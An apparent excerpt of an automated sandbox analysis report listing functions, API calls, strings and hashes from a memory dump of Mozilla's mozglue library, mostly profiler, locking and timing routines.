Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52DE73
GetCurrentThreadId.KERNEL32 ref: 6C52DF7D
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52DF8A
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52DFC9
GetCurrentThreadId.KERNEL32 ref: 6C52DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4F4A68), ref: 6C52DE7B

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4F4A68), ref: 6C52DEB8
free.MOZGLUE(00000000,?,6C4F4A68), ref: 6C52DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C52DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C52E00E
<none>, xrefs: 6C52DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C52DE83

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: e295644e2af694cdd2b81e375a1431f446210b6ec1807536afe412acc76db51b
Instruction ID: 3c3d22215e1c4a76c8012f925e4bb8192c50eb182add7039416bfa4c11b36083
Opcode Fuzzy Hash: e295644e2af694cdd2b81e375a1431f446210b6ec1807536afe412acc76db51b
Instruction Fuzzy Hash: 3241F431B052109BDB209B6ADC087BAB7B5FF8630DF150215E90587F91DB79AC05CBEA

Function 6C53D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D918
GetCurrentThreadId.KERNEL32 ref: 6C53D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D970
GetCurrentThreadId.KERNEL32 ref: 6C53D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C53DA2E
GetCurrentThreadId.KERNEL32 ref: 6C53DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C53DA91

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53DAB7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: ce8d28e26bbfff96732050aa528a964ebfde4a21a4143799c00d95c8df638035
Instruction ID: 8291a6ad0ea84681699aeaf7a042a133ffc7f75988f9031f9648bb6f49ffbdb9
Opcode Fuzzy Hash: ce8d28e26bbfff96732050aa528a964ebfde4a21a4143799c00d95c8df638035
Instruction Fuzzy Hash: FA71AD75604314DFCB00DF29C888BAABBF5FF89314F15856AE85A9B311EB30AD44CB95

Function 6C53D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D52A
GetCurrentThreadId.KERNEL32 ref: 6C53D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D55F
free.MOZGLUE(00000000), ref: 6C53D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C53D5D3
GetCurrentThreadId.KERNEL32 ref: 6C53D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D652
GetCurrentThreadId.KERNEL32 ref: 6C53D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D6A2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a52b4e20ca35a1312e462da62075095e4736785fcc1f63f55d9b52917b51af51
Instruction ID: f749f5002d4b60e04bdd34b9075f69c36c686e250e79521d259990e0cd2c474c
Opcode Fuzzy Hash: a52b4e20ca35a1312e462da62075095e4736785fcc1f63f55d9b52917b51af51
Instruction Fuzzy Hash: D0517E71604705DFC704DF35C888A9ABBF4FF89318F01562EE85A87721EB31A845CB95

Function 6C4E1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4E1EC1
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1EE1
EnterCriticalSection.KERNEL32(6C56E744), ref: 6C4E1F38
LeaveCriticalSection.KERNEL32(6C56E744), ref: 6C4E1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4E1F83
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FC0
EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FE2
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E2019

Strings

DVl, xrefs: 6C4E1F56
MOZ_CRASH(), xrefs: 6C4E2000
DVl, xrefs: 6C4E1F32
\Vl, xrefs: 6C4E1F3E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DVl$DVl$MOZ_CRASH()$\Vl
API String ID: 2055633661-698691890
Opcode ID: 3674cc0f69e2a678c5f717522f03fb4c02f8446365864e7d51e21eeff374be97
Instruction ID: 39604067e03f85eae524a6daa99b71d815313b07e0c4c90ac5aee8d14736296f
Opcode Fuzzy Hash: 3674cc0f69e2a678c5f717522f03fb4c02f8446365864e7d51e21eeff374be97
Instruction Fuzzy Hash: 6D41C171B012558FDF009F6ECC88F6AB7B5EB4A34AF020125F9049BB51DBB198058BD9

Function 6C505670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C505744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5057BC
GetTickCount64.KERNEL32 ref: 6C5058CB
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C5058F3
__aulldiv.LIBCMT ref: 6C505945
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C5059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C56F638,?,?,?,?), ref: 6C5059E9

Strings

MOZ_APP_RESTART, xrefs: 6C5056CC

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 301be4b8ea574e45976738b79a43f07976dbe7939f6e82f08976088bbe815304
Instruction ID: f7d617313befdf60fabe65c55b9c03750d1293998f0ee1038ec0f539db8325e4
Opcode Fuzzy Hash: 301be4b8ea574e45976738b79a43f07976dbe7939f6e82f08976088bbe815304
Instruction Fuzzy Hash: B1C17931A097409FDB05CF29C84066ABBF1FFCA754F568B1DE8C497660E770A885CB86

Function 6C52EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52EC8C

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52ECA1
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C52ECC5
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52ED19
CloseHandle.KERNEL32(?), ref: 6C52ED28
free.MOZGLUE(00000000), ref: 6C52ED2F
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C52EC94

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ca5bdc3b8b46214102d429c3427176cda1a4bb83ed47a544b1567b27367bd4d8
Instruction ID: 5b89c8d8ebf2c630ef96fea8eb4f1f259f3e286814775f28894033ebea79ea20
Opcode Fuzzy Hash: ca5bdc3b8b46214102d429c3427176cda1a4bb83ed47a544b1567b27367bd4d8
Instruction Fuzzy Hash: B521D875A00104DBDB009F6ADC04BA677B9EB8626EF114314FC1457BA1DB799C06CBE5

Function 6C528ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4EEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4EEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C52B392,?,?,00000001), ref: 6C5291F4

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Strings

data, xrefs: 6C5290E8
marker-chart, xrefs: 6C52905E
timeline-overview, xrefs: 6C52907A
stack-chart, xrefs: 6C5290B2
timeline-ipc, xrefs: 6C529096
name, xrefs: 6C528F16
marker-table, xrefs: 6C52906C
timeline-memory, xrefs: 6C529088
timeline-fileio, xrefs: 6C5290A4

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 67c8d3fce2f319db6d51cc4fba491c1ef00e9c540ae4a9da07848a2fa8b4f8cb
Instruction ID: db6c8d96ed8a9ac04fb858c41a37b1c94867442ff14a29ccfb47d523b5b0113e
Opcode Fuzzy Hash: 67c8d3fce2f319db6d51cc4fba491c1ef00e9c540ae4a9da07848a2fa8b4f8cb
Instruction Fuzzy Hash: 37B1F0B1A002099BDB04CF99CD91BEEBBF6BF84318F50442AD401ABF90D775A945CBE1

Function 6C50C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C50C5A3
WideCharToMultiByte.KERNEL32 ref: 6C50C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C50C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C50CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C50CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50CAA5

Strings

0, xrefs: 6C50D30A
(null), xrefs: 6C50C596

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 26b7e0b733e42f56c350e50a8c1204e40bd4cc939f9aba28a190f80981576cf6
Instruction ID: 5e799c35f485635611b9757330ee7e10d9905871a66a6eb2731941bc08adec86
Opcode Fuzzy Hash: 26b7e0b733e42f56c350e50a8c1204e40bd4cc939f9aba28a190f80981576cf6
Instruction Fuzzy Hash: E1A19D307083429FDB11EF28C94875ABBE1BF8A758F05891DE889D7752D731E805CBA2

Function 6C50C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C50C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C50C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C50C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C50C891

Strings

nan, xrefs: 6C50C7A8
inf, xrefs: 6C50C78F
INF, xrefs: 6C50C794
NAN, xrefs: 6C50C7AD

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 49a49f67bc69868ebdc4c2100a7d634e7136dff2e92aad4031f6e776f75f357a
Instruction ID: 8690252436654ae9f634de05cbdfa55352d6d5a5824c88b8c67c76832471d538
Opcode Fuzzy Hash: 49a49f67bc69868ebdc4c2100a7d634e7136dff2e92aad4031f6e776f75f357a
Instruction Fuzzy Hash: 2D51A4706087408BDB00EF2DC88169AFBF0BF9A314F414A2DE9D5A7651E770E985CB57

Function 6C4E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4E350E
__Init_thread_footer.LIBCMT ref: 6C4E3522
__aulldiv.LIBCMT ref: 6C4E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E3592

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4E3508
kernel32.dll, xrefs: 6C4E34EA

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: efcad2a3086cdb64818c47b0150c59ada40908798e6785e8351a4712a0d30811
Instruction ID: f5a5e9266497d0caecc6b7180fcaee973992fb5c83c35551bde8bf34018f74dc
Opcode Fuzzy Hash: efcad2a3086cdb64818c47b0150c59ada40908798e6785e8351a4712a0d30811
Instruction Fuzzy Hash: 18316071F002059BDF05DBBACC48FBA77B5BB4A31AB120519E54193770EA70A905CB64

Function 6C4E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C524843,?), ref: 6C4E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C524843,?), ref: 6C4E468A
free.MOZGLUE(?,?,?,?,?,?,6C524843,?), ref: 6C4E46C9
free.MOZGLUE(?), ref: 6C4E46EF
free.MOZGLUE(?), ref: 6C4E4712
free.MOZGLUE(?), ref: 6C4E4735
free.MOZGLUE(?), ref: 6C4E4758
free.MOZGLUE(?), ref: 6C4E477B
free.MOZGLUE(?), ref: 6C4E479E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d5a65ccf2059aa03f46175b8ecca025c7b34f00b76c431fde692798442a3509c
Instruction ID: 41ca49b4d1a63378928a5380ea574020d9d035338b4d9b4a6e0c60fd7473f872
Opcode Fuzzy Hash: d5a65ccf2059aa03f46175b8ecca025c7b34f00b76c431fde692798442a3509c
Instruction Fuzzy Hash: C6B10475E001108FDB18CFBCCC94F6D77A2BF493AAF1A0669E416DBB82D73499408B91

Function 6C54AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C54AC52
CreateFileMappingW.KERNEL32 ref: 6C54AC7D
GetSystemInfo.KERNEL32 ref: 6C54AC98
MapViewOfFile.KERNEL32 ref: 6C54ACB0
GetSystemInfo.KERNEL32 ref: 6C54ACCD
MapViewOfFile.KERNEL32 ref: 6C54AD05
UnmapViewOfFile.KERNEL32 ref: 6C54AD1C
CloseHandle.KERNEL32 ref: 6C54AD28
UnmapViewOfFile.KERNEL32 ref: 6C54AD37
CloseHandle.KERNEL32 ref: 6C54AD43
CloseHandle.KERNEL32 ref: 6C54AD67

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 7ad4e5cc64d837a6376cceb693526f3e135366315b11fd9fe6d46f0212d880ab
Instruction ID: 97a0454f7650288cc1437f173f6f8e185980f5792578750c72f2bd38f56b78d5
Opcode Fuzzy Hash: 7ad4e5cc64d837a6376cceb693526f3e135366315b11fd9fe6d46f0212d880ab
Instruction Fuzzy Hash: 753142B1A047048FDB00FF7DDA4826EBBF0BF85305F02892DE99597211EB749858CB86

Function 6C4F9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4F9675
__Init_thread_footer.LIBCMT ref: 6C4F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4F9707
__Init_thread_footer.LIBCMT ref: 6C4F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9773

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4F97B7
FreeLibrary.KERNEL32 ref: 6C4F97D0
FreeLibrary.KERNEL32 ref: 6C4F97EB
